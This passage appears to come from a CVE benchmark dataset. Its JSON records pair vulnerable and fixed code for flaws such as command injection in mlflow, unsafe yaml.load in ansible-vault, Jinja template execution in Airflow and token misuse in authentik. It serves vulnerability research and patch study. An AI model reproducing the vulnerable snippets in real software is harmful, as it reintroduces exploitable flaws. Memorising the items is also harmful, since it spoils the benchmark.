fi.ModTime().Format(http.TimeFormat))\n\t}\n\tw.Header().Set(\"X-File-Mode\", fmt.Sprintf(\"%d\", fi.Mode()))\n\t_, err = io.Copy(w, f)\n\tif err != nil {\n\t\tlog.Printf(\"cannot copy file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}, {"id": "fix_go_144_3", "commit": "3c90668", "file_path": "server/http.go", "start_line": 355, "end_line": 364, "snippet": "func (s *HTTPServer) handleDeleteFile(w http.ResponseWriter, r *http.Request) {\n\tu := s.charmUserFromRequest(w, r)\n\tpath := filepath.Clean(pattern.Path(r.Context()))\n\terr := s.cfg.FileStore.Delete(u.CharmID, path)\n\tif err != nil {\n\t\tlog.Printf(\"cannot delete file: %s\", err)\n\t\ts.renderError(w)\n\t\treturn\n\t}\n}"}], "vul_patch": "--- a/server/http.go\n+++ b/server/http.go\n@@ -1,6 +1,6 @@\n func (s *HTTPServer) handlePostFile(w http.ResponseWriter, r *http.Request) {\n \tu := s.charmUserFromRequest(w, r)\n-\tpath := pattern.Path(r.Context())\n+\tpath := filepath.Clean(pattern.Path(r.Context()))\n \tms := r.URL.Query().Get(\"mode\")\n \tm, err := strconv.ParseUint(ms, 10, 32)\n \tif err != nil {\n\n--- a/server/http.go\n+++ b/server/http.go\n@@ -1,6 +1,6 @@\n func (s *HTTPServer) handleGetFile(w http.ResponseWriter, r *http.Request) {\n \tu := s.charmUserFromRequest(w, r)\n-\tpath := pattern.Path(r.Context())\n+\tpath := filepath.Clean(pattern.Path(r.Context()))\n \tf, err := s.cfg.FileStore.Get(u.CharmID, path)\n \tif errors.Is(err, fs.ErrNotExist) {\n \t\ts.renderCustomError(w, \"file not found\", http.StatusNotFound)\n\n--- a/server/http.go\n+++ b/server/http.go\n@@ -1,6 +1,6 @@\n func (s *HTTPServer) handleDeleteFile(w http.ResponseWriter, r *http.Request) {\n \tu := s.charmUserFromRequest(w, r)\n-\tpath := pattern.Path(r.Context())\n+\tpath := filepath.Clean(pattern.Path(r.Context()))\n \terr := s.cfg.FileStore.Delete(u.CharmID, path)\n \tif err != nil {\n \t\tlog.Printf(\"cannot delete file: %s\", err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-4033", "cve_description": "OS Command Injection in GitHub repository mlflow/mlflow prior to 2.6.0.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/6dde93758d42455cb90ef324407919ed67668b9b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_235_1", "commit": "330bf0b", "file_path": "mlflow/pyfunc/backend.py", "start_line": 134, "end_line": 161, "snippet": "    def predict(self, model_uri, input_path, output_path, content_type):\n        \"\"\"\n        Generate predictions using generic python model saved with MLflow. The expected format of\n        the input JSON is the Mlflow scoring format.\n        Return the prediction results as a JSON.\n        \"\"\"\n        local_path = _download_artifact_from_uri(model_uri)\n        # NB: Absolute windows paths do not work with mlflow apis, use file uri to ensure\n        # platform compatibility.\n        local_uri = path_to_local_file_uri(local_path)\n\n        if self._env_manager != _EnvManager.LOCAL:\n            command = (\n                'python -c \"from mlflow.pyfunc.scoring_server import _predict; _predict('\n                \"model_uri={model_uri}, \"\n                \"input_path={input_path}, \"\n                \"output_path={output_path}, \"\n                \"content_type={content_type})\"\n                '\"'\n            ).format(\n                model_uri=repr(local_uri),\n                input_path=repr(input_path),\n                output_path=repr(output_path),\n                content_type=repr(content_type),\n            )\n            return self.prepare_env(local_path).execute(command)\n        else:\n            scoring_server._predict(local_uri, input_path, output_path, content_type)"}, {"id": "vul_py_235_2", "commit": "330bf0b", "file_path": "mlflow/pyfunc/backend.py", "start_line": 326, "end_line": 363, "snippet": "            setup_pyenv_and_virtualenv=setup_pyenv_and_virtualenv,\n            install_mlflow=install_mlflow,\n            custom_setup_steps=custom_setup_steps,\n            entrypoint=pyfunc_entrypoint,\n        )\n        _logger.debug(\"generated dockerfile text\", extra={\"dockerfile\": dockerfile_text})\n\n        with open(os.path.join(output_path, \"Dockerfile\"), \"w\") as dockerfile:\n            dockerfile.write(dockerfile_text)\n\n    def build_image(\n        self, model_uri, image_name, install_mlflow=False, mlflow_home=None, enable_mlserver=False\n    ):\n        copy_model_into_container = self.copy_model_into_container_wrapper(\n            model_uri, install_mlflow, enable_mlserver\n        )\n        pyfunc_entrypoint = _pyfunc_entrypoint(\n            self._env_manager, model_uri, install_mlflow, enable_mlserver\n        )\n        _build_image(\n            image_name=image_name,\n            mlflow_home=mlflow_home,\n            env_manager=self._env_manager,\n            custom_setup_steps_hook=copy_model_into_container,\n            entrypoint=pyfunc_entrypoint,\n        )\n\n    def copy_model_into_container_wrapper(self, model_uri, install_mlflow, enable_mlserver):\n        def copy_model_into_container(dockerfile_context_dir):\n            # This function have to be included in another,\n            # since `_build_image` function in `docker_utils` accepts only\n            # single-argument function like this\n            model_cwd = os.path.join(dockerfile_context_dir, \"model_dir\")\n            pathlib.Path(model_cwd).mkdir(parents=True, exist_ok=True)\n            if model_uri:\n                model_path = _download_artifact_from_uri(model_uri, output_path=model_cwd)\n                return \"\"\"\n                    COPY {model_dir} /opt/ml/model"}], "fix_func": [{"id": "fix_py_235_1", "commit": "6dde937", "file_path": "mlflow/pyfunc/backend.py", "start_line": 136, "end_line": 162, "snippet": "    def predict(self, model_uri, input_path, output_path, content_type):\n        \"\"\"\n        Generate predictions using generic python model saved with MLflow. The expected format of\n        the input JSON is the Mlflow scoring format.\n        Return the prediction results as a JSON.\n        \"\"\"\n        local_path = _download_artifact_from_uri(model_uri)\n        # NB: Absolute windows paths do not work with mlflow apis, use file uri to ensure\n        # platform compatibility.\n        local_uri = path_to_local_file_uri(local_path)\n\n        if self._env_manager != _EnvManager.LOCAL:\n            predict_cmd = [\n                \"python\",\n                _mlflow_pyfunc_backend_predict.__file__,\n                \"--model-uri\",\n                str(local_uri),\n                \"--content-type\",\n                shlex.quote(str(content_type)),\n            ]\n            if input_path:\n                predict_cmd += [\"--input-path\", shlex.quote(str(input_path))]\n            if output_path:\n                predict_cmd += [\"--output-path\", shlex.quote(str(output_path))]\n            return self.prepare_env(local_path).execute(\" \".join(predict_cmd))\n        else:\n            scoring_server._predict(local_uri, input_path, output_path, content_type)"}, {"id": "fix_py_235_2", "commit": "6dde937", "file_path": "mlflow/pyfunc/backend.py", "start_line": 328, "end_line": 367, "snippet": "            install_mlflow=install_mlflow,\n            custom_setup_steps=custom_setup_steps,\n            entrypoint=pyfunc_entrypoint,\n        )\n        _logger.debug(\"generated dockerfile text\", extra={\"dockerfile\": dockerfile_text})\n\n        with open(os.path.join(output_path, \"Dockerfile\"), \"w\") as dockerfile:\n            dockerfile.write(dockerfile_text)\n\n    def build_image(\n        self, model_uri, image_name, install_mlflow=False, mlflow_home=None, enable_mlserver=False\n    ):\n        copy_model_into_container = self.copy_model_into_container_wrapper(\n            model_uri, install_mlflow, enable_mlserver\n        )\n        pyfunc_entrypoint = _pyfunc_entrypoint(\n            self._env_manager, model_uri, install_mlflow, enable_mlserver\n        )\n        _build_image(\n            image_name=image_name,\n            mlflow_home=mlflow_home,\n            env_manager=self._env_manager,\n            custom_setup_steps_hook=copy_model_into_container,\n            entrypoint=pyfunc_entrypoint,\n        )\n\n    def copy_model_into_container_wrapper(self, model_uri, install_mlflow, enable_mlserver):\n        def copy_model_into_container(dockerfile_context_dir):\n            # This function have to be included in another,\n            # since `_build_image` function in `docker_utils` accepts only\n            # single-argument function like this\n            model_cwd = os.path.join(dockerfile_context_dir, \"model_dir\")\n            pathlib.Path(model_cwd).mkdir(parents=True, exist_ok=True)\n            if model_uri:\n                model_path = _download_artifact_from_uri(model_uri, output_path=model_cwd)\n                return \"\"\"\n                    COPY {model_dir} /opt/ml/model\n                    RUN python -c \\\n                    'from mlflow.models.container import _install_pyfunc_deps;\\\n                    _install_pyfunc_deps(\\"}], "vul_patch": "--- a/mlflow/pyfunc/backend.py\n+++ b/mlflow/pyfunc/backend.py\n@@ -10,19 +10,18 @@\n         local_uri = path_to_local_file_uri(local_path)\n \n         if self._env_manager != _EnvManager.LOCAL:\n-            command = (\n-                'python -c \"from mlflow.pyfunc.scoring_server import _predict; _predict('\n-                \"model_uri={model_uri}, \"\n-                \"input_path={input_path}, \"\n-                \"output_path={output_path}, \"\n-                \"content_type={content_type})\"\n-                '\"'\n-            ).format(\n-                model_uri=repr(local_uri),\n-                input_path=repr(input_path),\n-                output_path=repr(output_path),\n-                content_type=repr(content_type),\n-            )\n-            return self.prepare_env(local_path).execute(command)\n+            predict_cmd = [\n+                \"python\",\n+                _mlflow_pyfunc_backend_predict.__file__,\n+                \"--model-uri\",\n+                str(local_uri),\n+                \"--content-type\",\n+                shlex.quote(str(content_type)),\n+            ]\n+            if input_path:\n+                predict_cmd += [\"--input-path\", shlex.quote(str(input_path))]\n+            if output_path:\n+                predict_cmd += [\"--output-path\", shlex.quote(str(output_path))]\n+            return self.prepare_env(local_path).execute(\" \".join(predict_cmd))\n         else:\n             scoring_server._predict(local_uri, input_path, output_path, content_type)\n\n--- a/mlflow/pyfunc/backend.py\n+++ b/mlflow/pyfunc/backend.py\n@@ -1,4 +1,3 @@\n-            setup_pyenv_and_virtualenv=setup_pyenv_and_virtualenv,\n             install_mlflow=install_mlflow,\n             custom_setup_steps=custom_setup_steps,\n             entrypoint=pyfunc_entrypoint,\n@@ -36,3 +35,6 @@\n                 model_path = _download_artifact_from_uri(model_uri, output_path=model_cwd)\n                 return \"\"\"\n                     COPY {model_dir} /opt/ml/model\n+                    RUN python -c \\\n+                    'from mlflow.models.container import _install_pyfunc_deps;\\\n+                    _install_pyfunc_deps(\\\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-2809", "cve_description": "An exploitable vulnerability exists in the yaml loading functionality of ansible-vault before 1.0.5. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/tomoh1r/ansible-vault", "patch_url": ["https://github.com/tomoh1r/ansible-vault/commit/3f8f659ef443ab870bb19f95d43543470168ae04"], "programing_language": "Python", "vul_func": [{"id": "vul_py_372_1", "commit": "1ae50a312349656280fbe7d2acfbda9c1d560dd1", "file_path": "ansible_vault/api.py", "start_line": 16, "end_line": 18, "snippet": "    def load(self, stream):\n        '''read vault steam and return python object'''\n        return yaml.load(self.vault.decrypt(stream))"}], "fix_func": [{"id": "fix_py_372_1", "commit": "3f8f659ef443ab870bb19f95d43543470168ae04", "file_path": "ansible_vault/api.py", "start_line": 16, "end_line": 18, "snippet": "    def load(self, stream):\n        '''read vault steam and return python object'''\n        return yaml.safe_load(self.vault.decrypt(stream))"}], "vul_patch": "--- a/ansible_vault/api.py\n+++ b/ansible_vault/api.py\n@@ -1,3 +1,3 @@\n     def load(self, stream):\n         '''read vault steam and return python object'''\n-        return yaml.load(self.vault.decrypt(stream))\n+        return yaml.safe_load(self.vault.decrypt(stream))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-39877", "cve_description": "Apache Airflow 2.4.0, and versions before 2.9.3, has a vulnerability that allows authenticated DAG authors to craft a doc_md parameter in a way that could execute arbitrary code in the scheduler context, which should be forbidden according to the Airflow Security model. Users should upgrade to version 2.9.3 or later which has removed the vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/8159f6e24704f5e0e3b3217cf79ecf5083dce531"], "programing_language": "Python", "vul_func": [{"id": "vul_py_20_1", "commit": "09bbc9c", "file_path": "airflow/models/dag.py", "start_line": 771, "end_line": 788, "snippet": "    def get_doc_md(self, doc_md: str | None) -> str | None:\n        if doc_md is None:\n            return doc_md\n\n        env = self.get_template_env(force_sandboxed=True)\n\n        if not doc_md.endswith(\".md\"):\n            template = jinja2.Template(doc_md)\n        else:\n            try:\n                template = env.get_template(doc_md)\n            except jinja2.exceptions.TemplateNotFound:\n                return f\"\"\"\n                # Templating Error!\n                Not able to find the template file: `{doc_md}`.\n                \"\"\"\n\n        return template.render()"}], "fix_func": [{"id": "fix_py_20_1", "commit": "8159f6e", "file_path": "airflow/models/dag.py", "start_line": 771, "end_line": 781, "snippet": "    def get_doc_md(self, doc_md: str | None) -> str | None:\n        if doc_md is None:\n            return doc_md\n\n        if doc_md.endswith(\".md\"):\n            try:\n                return open(doc_md).read()\n            except FileNotFoundError:\n                return doc_md\n\n        return doc_md"}], "vul_patch": "--- a/airflow/models/dag.py\n+++ b/airflow/models/dag.py\n@@ -2,17 +2,10 @@\n         if doc_md is None:\n             return doc_md\n \n-        env = self.get_template_env(force_sandboxed=True)\n+        if doc_md.endswith(\".md\"):\n+            try:\n+                return open(doc_md).read()\n+            except FileNotFoundError:\n+                return doc_md\n \n-        if not doc_md.endswith(\".md\"):\n-            template = jinja2.Template(doc_md)\n-        else:\n-            try:\n-                template = env.get_template(doc_md)\n-            except jinja2.exceptions.TemplateNotFound:\n-                return f\"\"\"\n-                # Templating Error!\n-                Not able to find the template file: `{doc_md}`.\n-                \"\"\"\n-\n-        return template.render()\n+        return doc_md\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-39877:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/airflow\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-39877/bin/python -m pytest models/test_dag.py -v -k \"test_resolve_documentation_template_file_not_rendered\" -p no:warning\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-39877:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/airflow\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-39877/bin/python -m pytest models/test_dag.py -v -k \"not test_resolve_documentation_template_file_rendered\" -p no:warning\n"}
{"cve_id": "CVE-2022-38649", "cve_description": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Airflow Pinot Provider, Apache Airflow allows an attacker to control commands executed in the task execution context, without write access to DAG files. This issue affects Apache Airflow Pinot Provider versions prior to 4.0.0. It also impacts any Apache Airflow versions prior to 2.3.0 in case Apache Airflow Pinot Provider is installed (Apache Airflow Pinot Provider 4.0.0 can only be installed for Airflow 2.3.0+). Note that you need to manually install the Pinot Provider version 4.0.0 in order to get rid of the vulnerability on top of Airflow 2.3.0+ version.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/1d4fd5c6eacab0b88f8660f9d780174434393f1a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_153_1", "commit": "d6cb703", "file_path": "airflow/providers/apache/pinot/hooks/pinot.py", "start_line": 55, "end_line": 69, "snippet": "    def __init__(\n        self,\n        conn_id: str = \"pinot_admin_default\",\n        cmd_path: str = \"pinot-admin.sh\",\n        pinot_admin_system_exit: bool = False,\n    ) -> None:\n        super().__init__()\n        conn = self.get_connection(conn_id)\n        self.host = conn.host\n        self.port = str(conn.port)\n        self.cmd_path = conn.extra_dejson.get(\"cmd_path\", cmd_path)\n        self.pinot_admin_system_exit = conn.extra_dejson.get(\n            \"pinot_admin_system_exit\", pinot_admin_system_exit\n        )\n        self.conn = conn"}], "fix_func": [{"id": "fix_py_153_1", "commit": "1d4fd5c", "file_path": "airflow/providers/apache/pinot/hooks/pinot.py", "start_line": 58, "end_line": 80, "snippet": "    def __init__(\n        self,\n        conn_id: str = \"pinot_admin_default\",\n        cmd_path: str = \"pinot-admin.sh\",\n        pinot_admin_system_exit: bool = False,\n    ) -> None:\n        super().__init__()\n        conn = self.get_connection(conn_id)\n        self.host = conn.host\n        self.port = str(conn.port)\n        if cmd_path != \"pinot-admin.sh\":\n            raise RuntimeError(\n                \"In version 4.0.0 of the PinotAdminHook the cmd_path has been hard-coded to\"\n                \" pinot-admin.sh. In order to avoid accidental using of this parameter as\"\n                \" positional `pinot_admin_system_exit` the `cmd_parameter`\"\n                \" parameter is left here but you should not modify it. Make sure that \"\n                \" `pinot-admin.sh` is on your PATH and do not change cmd_path value.\"\n            )\n        self.cmd_path = \"pinot-admin.sh\"\n        self.pinot_admin_system_exit = conn.extra_dejson.get(\n            \"pinot_admin_system_exit\", pinot_admin_system_exit\n        )\n        self.conn = conn"}], "vul_patch": "--- a/airflow/providers/apache/pinot/hooks/pinot.py\n+++ b/airflow/providers/apache/pinot/hooks/pinot.py\n@@ -8,7 +8,15 @@\n         conn = self.get_connection(conn_id)\n         self.host = conn.host\n         self.port = str(conn.port)\n-        self.cmd_path = conn.extra_dejson.get(\"cmd_path\", cmd_path)\n+        if cmd_path != \"pinot-admin.sh\":\n+            raise RuntimeError(\n+                \"In version 4.0.0 of the PinotAdminHook the cmd_path has been hard-coded to\"\n+                \" pinot-admin.sh. In order to avoid accidental using of this parameter as\"\n+                \" positional `pinot_admin_system_exit` the `cmd_parameter`\"\n+                \" parameter is left here but you should not modify it. Make sure that \"\n+                \" `pinot-admin.sh` is on your PATH and do not change cmd_path value.\"\n+            )\n+        self.cmd_path = \"pinot-admin.sh\"\n         self.pinot_admin_system_exit = conn.extra_dejson.get(\n             \"pinot_admin_system_exit\", pinot_admin_system_exit\n         )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-6298", "cve_description": "The _Rsa15 class in the RSA 1.5 algorithm implementation in jwa.py in jwcrypto before 0.3.2 lacks the Random Filling protection mechanism, which makes it easier for remote attackers to obtain cleartext data via a Million Message Attack (MMA).", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/latchset/jwcrypto", "patch_url": ["https://github.com/latchset/jwcrypto/commit/eb5be5bd94c8cae1d7f3ba9801377084d8e5a7ba"], "programing_language": "Python", "vul_func": [{"id": "vul_py_412_1", "commit": "9282e1e9a73caf948ea9c8958e29790feae5eeba", "file_path": "jwcrypto/jwa.py", "start_line": 371, "end_line": 380, "snippet": "class _Rsa15(_RSA, JWAAlgorithm):\n\n    name = 'RSA1_5'\n    description = \"RSAES-PKCS1-v1_5\"\n    keysize = 2048\n    algorithm_usage_location = 'alg'\n    algorithm_use = 'kex'\n\n    def __init__(self):\n        super(_Rsa15, self).__init__(padding.PKCS1v15())"}], "fix_func": [{"id": "fix_py_412_1", "commit": "eb5be5bd94c8cae1d7f3ba9801377084d8e5a7ba", "file_path": "jwcrypto/jwa.py", "start_line": 371, "end_line": 397, "snippet": "class _Rsa15(_RSA, JWAAlgorithm):\n\n    name = 'RSA1_5'\n    description = \"RSAES-PKCS1-v1_5\"\n    keysize = 2048\n    algorithm_usage_location = 'alg'\n    algorithm_use = 'kex'\n\n    def __init__(self):\n        super(_Rsa15, self).__init__(padding.PKCS1v15())\n\n    def unwrap(self, key, bitsize, ek, headers):\n        self._check_key(key)\n        # Address MMA attack by implementing RFC 3218 - 2.3.2. Random Filling\n        # provides a random cek that will cause the decryption engine to\n        # run to the end, but will fail decryption later.\n\n        # always generate a random cek so we spend roughly the\n        # same time as in the exception side of the branch\n        cek = _randombits(bitsize)\n        try:\n            cek = super(_Rsa15, self).unwrap(key, bitsize, ek, headers)\n            # always raise so we always run through the exception handling\n            # code in all cases\n            raise Exception('Dummy')\n        except Exception:  # pylint: disable=broad-except\n            return cek"}], "vul_patch": "--- a/jwcrypto/jwa.py\n+++ b/jwcrypto/jwa.py\n@@ -8,3 +8,20 @@\n \n     def __init__(self):\n         super(_Rsa15, self).__init__(padding.PKCS1v15())\n+\n+    def unwrap(self, key, bitsize, ek, headers):\n+        self._check_key(key)\n+        # Address MMA attack by implementing RFC 3218 - 2.3.2. Random Filling\n+        # provides a random cek that will cause the decryption engine to\n+        # run to the end, but will fail decryption later.\n+\n+        # always generate a random cek so we spend roughly the\n+        # same time as in the exception side of the branch\n+        cek = _randombits(bitsize)\n+        try:\n+            cek = super(_Rsa15, self).unwrap(key, bitsize, ek, headers)\n+            # always raise so we always run through the exception handling\n+            # code in all cases\n+            raise Exception('Dummy')\n+        except Exception:  # pylint: disable=broad-except\n+            return cek\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-27146", "cve_description": "matrix-appservice-irc is a Node.js IRC bridge for Matrix. The matrix-appservice-irc bridge up to version 3.0.3 contains a vulnerability which can lead to arbitrary IRC command execution as the puppeted user. The attacker can only inject commands executed as their own IRC user. The vulnerability has been patched in matrix-appservice-irc version 3.0.4.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/matrix-org/matrix-appservice-irc", "patch_url": ["https://github.com/matrix-org/matrix-appservice-irc/commit/74f02c8e11f16ed1b355700092c1aa9c036a11bd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_243_1", "commit": "062f3ac", "file_path": "src/irc/BridgedClient.ts", "start_line": 911, "end_line": 919, "snippet": "    private async setTopic(room: IrcRoom, topic: string): Promise<void> {\n        if (this.state.status !== BridgedClientStatus.CONNECTED) {\n            throw Error(\"unsafeClient not ready yet\");\n        }\n        // join the room if we haven't already\n        await this.joinChannel(room.channel);\n        this.log.info(\"Setting topic to %s in channel %s\", topic, room.channel);\n        return this.state.client.send(\"TOPIC\", room.channel, topic);\n    }"}], "fix_func": [{"id": "fix_js_243_1", "commit": "74f02c8e11f16ed1b355700092c1aa9c036a11bd", "file_path": "src/irc/BridgedClient.ts", "start_line": 911, "end_line": 923, "snippet": "    private async setTopic(room: IrcRoom, topic: string): Promise<void> {\n        // replace newline \"\\n\" with a pipe \"|\" to follow IRC conventions\n        const sanitized_topic = topic.replace(/\\n/g, \" | \").replace(/\\r/g, \"\")\n\n        if (this.state.status !== BridgedClientStatus.CONNECTED) {\n            throw Error(\"unsafeClient not ready yet\");\n        }\n        // join the room if we haven't already\n        await this.joinChannel(room.channel);\n\n        this.log.info(\"Setting topic to %s in channel %s\", sanitized_topic, room.channel);\n        return this.state.client.send(\"TOPIC\", room.channel, sanitized_topic);\n    }"}], "vul_patch": "--- a/src/irc/BridgedClient.ts\n+++ b/src/irc/BridgedClient.ts\n@@ -1,9 +1,13 @@\n     private async setTopic(room: IrcRoom, topic: string): Promise<void> {\n+        // replace newline \"\\n\" with a pipe \"|\" to follow IRC conventions\n+        const sanitized_topic = topic.replace(/\\n/g, \" | \").replace(/\\r/g, \"\")\n+\n         if (this.state.status !== BridgedClientStatus.CONNECTED) {\n             throw Error(\"unsafeClient not ready yet\");\n         }\n         // join the room if we haven't already\n         await this.joinChannel(room.channel);\n-        this.log.info(\"Setting topic to %s in channel %s\", topic, room.channel);\n-        return this.state.client.send(\"TOPIC\", room.channel, topic);\n+\n+        this.log.info(\"Setting topic to %s in channel %s\", sanitized_topic, room.channel);\n+        return this.state.client.send(\"TOPIC\", room.channel, sanitized_topic);\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47077", "cve_description": "authentik is an open-source identity provider. Prior to versions 2024.8.3 and 2024.6.5, access tokens issued to one application can be stolen by that application and used to impersonate the user against any other proxy provider. Also, a user can steal an access token they were legitimately issued for one application and use it to access another application that they aren't allowed to access. Anyone who has more than one proxy provider application with different trust domains or different access control is affected. Versions 2024.8.3 and 2024.6.5 fix the issue.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/goauthentik/authentik", "patch_url": ["https://github.com/goauthentik/authentik/commit/22e586bd8cdc3d1db8a0f18314d76f82371129b2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_140_1", "commit": "8a0b31b", "file_path": "authentik/providers/oauth2/views/introspection.py", "start_line": 42, "end_line": 56, "snippet": "    def from_request(request: HttpRequest) -> \"TokenIntrospectionParams\":\n        \"\"\"Extract required Parameters from HTTP Request\"\"\"\n        raw_token = request.POST.get(\"token\")\n        provider = authenticate_provider(request)\n        if not provider:\n            raise TokenIntrospectionError\n\n        access_token = AccessToken.objects.filter(token=raw_token).first()\n        if access_token:\n            return TokenIntrospectionParams(access_token, provider)\n        refresh_token = RefreshToken.objects.filter(token=raw_token).first()\n        if refresh_token:\n            return TokenIntrospectionParams(refresh_token, provider)\n        LOGGER.debug(\"Token does not exist\", token=raw_token)\n        raise TokenIntrospectionError()"}], "fix_func": [{"id": "fix_py_140_1", "commit": "22e586b", "file_path": "authentik/providers/oauth2/views/introspection.py", "start_line": 42, "end_line": 56, "snippet": "    def from_request(request: HttpRequest) -> \"TokenIntrospectionParams\":\n        \"\"\"Extract required Parameters from HTTP Request\"\"\"\n        raw_token = request.POST.get(\"token\")\n        provider = authenticate_provider(request)\n        if not provider:\n            raise TokenIntrospectionError\n\n        access_token = AccessToken.objects.filter(token=raw_token, provider=provider).first()\n        if access_token:\n            return TokenIntrospectionParams(access_token, provider)\n        refresh_token = RefreshToken.objects.filter(token=raw_token, provider=provider).first()\n        if refresh_token:\n            return TokenIntrospectionParams(refresh_token, provider)\n        LOGGER.debug(\"Token does not exist\", token=raw_token)\n        raise TokenIntrospectionError()"}], "vul_patch": "--- a/authentik/providers/oauth2/views/introspection.py\n+++ b/authentik/providers/oauth2/views/introspection.py\n@@ -5,10 +5,10 @@\n         if not provider:\n             raise TokenIntrospectionError\n \n-        access_token = AccessToken.objects.filter(token=raw_token).first()\n+        access_token = AccessToken.objects.filter(token=raw_token, provider=provider).first()\n         if access_token:\n             return TokenIntrospectionParams(access_token, provider)\n-        refresh_token = RefreshToken.objects.filter(token=raw_token).first()\n+        refresh_token = RefreshToken.objects.filter(token=raw_token, provider=provider).first()\n         if refresh_token:\n             return TokenIntrospectionParams(refresh_token, provider)\n         LOGGER.debug(\"Token does not exist\", token=raw_token)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31151", "cve_description": "Authorization headers are cleared on cross-origin redirect. However, cookie headers which are sensitive headers and are official headers found in the spec, remain uncleared. There are active users using cookie headers in undici. This may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site. This was patched in v5.7.1. By default, this vulnerability is not exploitable. Do not enable redirections, i.e. `maxRedirections: 0` (the default).", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/nodejs/undici", "patch_url": ["https://github.com/nodejs/undici/commit/0a5bee9465e627be36bac88edf7d9bbc9626126d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_270_1", "commit": "a29a151d0140d095742d21a004023d024fe93259", "file_path": "lib/handler/redirect.js", "start_line": 185, "end_line": 191, 